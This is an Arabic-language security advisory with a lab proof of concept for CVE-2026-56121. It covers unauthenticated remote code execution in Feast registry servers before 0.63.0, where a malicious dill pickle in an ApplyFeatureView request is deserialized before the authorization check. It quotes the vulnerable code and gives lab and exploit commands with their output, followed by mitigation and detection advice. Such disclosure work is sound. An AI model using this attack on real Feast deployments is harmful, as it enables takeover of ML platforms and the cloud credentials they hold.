
CVE-2026-56121 — Feast <0.63.0 ثغرة تنفيذ أوامر عن بُعد غير مصادق عليها عبر gRPC registry dill.loads لـ OnDemandFeatureView UDF (ما قبل المصادقة). مختبر + إثبات المفهوم، تم التحقق منه من البداية إلى النهاية.
يقوم خادم gRPC الخاص بالـ Registry في Feast
< 0.63.0بتنفيذdill.loads()للدالة المعرَّفة من قبل المستخدم فيOnDemandFeatureViewفور وصول المواصفات — قبل أي فحص للتخويل. الإعداد المرفق هوauth: no_auth، لذا فإن أي عميل يمكنه الوصول إلى منفذ الـ Registry (الافتراضي6570) يحصل على تنفيذ تعليمات برمجية عن بُعد غير مصدَّق عن طريق إرسال طلبApplyFeatureViewواحد مع pickle خبيث.
| CVE | CVE-2026-56121 |
| المتأثر | Feast < 0.63.0 |
| تم الإصلاح في | 0.63.0 |
| التصنيف | CWE-502 (إلغاء تسلسل بيانات غير موثوقة) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | لا يوجد (auth: no_auth افتراضي؛ إلغاء التسلسل يحدث قبل التخويل) |
| سطح الهجوم | gRPC الخاص بـ Registry RegistryServer.ApplyFeatureView (المنفذ الافتراضي 6570) |
| الحالة | مؤكَّد — تم إعادة إنتاجه من البداية إلى النهاية ضد feast==0.62.0 |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) إلغاء التسلسل
...
assert_permissions_to_update(resource=feature_view, ...) # (2) التخويل
self.proxied_registry.apply_feature_view(...)
يتم استدعاء from_proto (1) قبل فحص الأذونات (2). وهي تقوم بتحليل
التحويل، الذي ينفذ dill.loads() لجسم UDF —
sdk/python/feast/transformation/pandas_transformation.py (و python_transformation.py):
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- pickle يتحكم به المهاجم
udf_string=user_defined_function_proto.body_text,
)
dill هو مجموعة فائقة من pickle، لذا فإن dill.loads() للبايتات القادمة من المهاجم
يستدعي آلية __reduce__ في pickle → تنفيذ تعليمات برمجية عشوائية. وبما أنه يعمل قبل
assert_permissions_to_update — والإعداد الافتراضي auth: no_auth يجعل هذا الفحص
عديم الفائدة على أي حال — فإن RCE يكون غير مصدَّق.
# 1. تشغيل خادم Registry ضعيف (feast 0.62.0, gRPC :6570, no_auth افتراضي)
docker compose -f lab/docker-compose.yml up --build -d
# 2. إطلاق PoC (بدون بيانات اعتماد)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. يظهر مخرجات الأمر على المضيف المستضيف للـ Registry
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
الملاحظة:
[*] إرسال ApplyFeatureView مع pickle خبيث بحجم 124 بايت في user_defined_function.body
[*] حالة RPC: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] تنفيذ dill.loads للحمولة على جانب الخادم أثناء from_proto.
ينتهي RPC في النهاية بخطأ (لم يعد الكائن المُستخرَج دالة UDF قابلة للاستدعاء)، ولكن
الأمر تم تنفيذه بالفعل أثناء dill.loads() — cat /tmp/feast_pwned يُرجع
مخرجات id/uname حية، مما يثبت التنفيذ وليس الصدى.
أي شخص يمكنه الوصول إلى منفذ gRPC الخاص بـ Feast Registry يمكنه تنفيذ أوامر نظام تشغيل عشوائية بحساب خدمة الـ Registry — اختراق كامل لمخزن الميزات والمخازن غير المتصلة/ المتصلة، وقواعد البيانات، وبيانات اعتماد السحابة التي يتصل بها. غالبًا ما تكون سجلات Feast مكشوفة داخل منصات التعلم الآلي لاستدعاء عملاء SDK.
skip_udf بحيث لا يقوم خادم الـ Registry
بإلغاء تسلسل جسم UDF للمواصفات الواردة.auth (oidc/kubernetes) وعدم تعريض منفذ الـ Registry
للشبكات غير الموثوقة. لاحظ أن المصادقة وحدها غير كافية على < 0.63.0،
لأن إلغاء التسلسل يسبق فحص التخويل.تنبيه على استدعاءات RPC ApplyFeatureView / ApplyMaterialization الموجهة إلى الـ Registry
التي يكون فيها OnDemandFeatureView user_defined_function.body غير ناتج عن عميل
موثوق، وعلى عمليات الـ Registry التي تطلق الصدفات.
انظر ANALYSIS.md لمسار الـ proto، وترتيب إلغاء التسلسل قبل التخويل،
والتصحيح.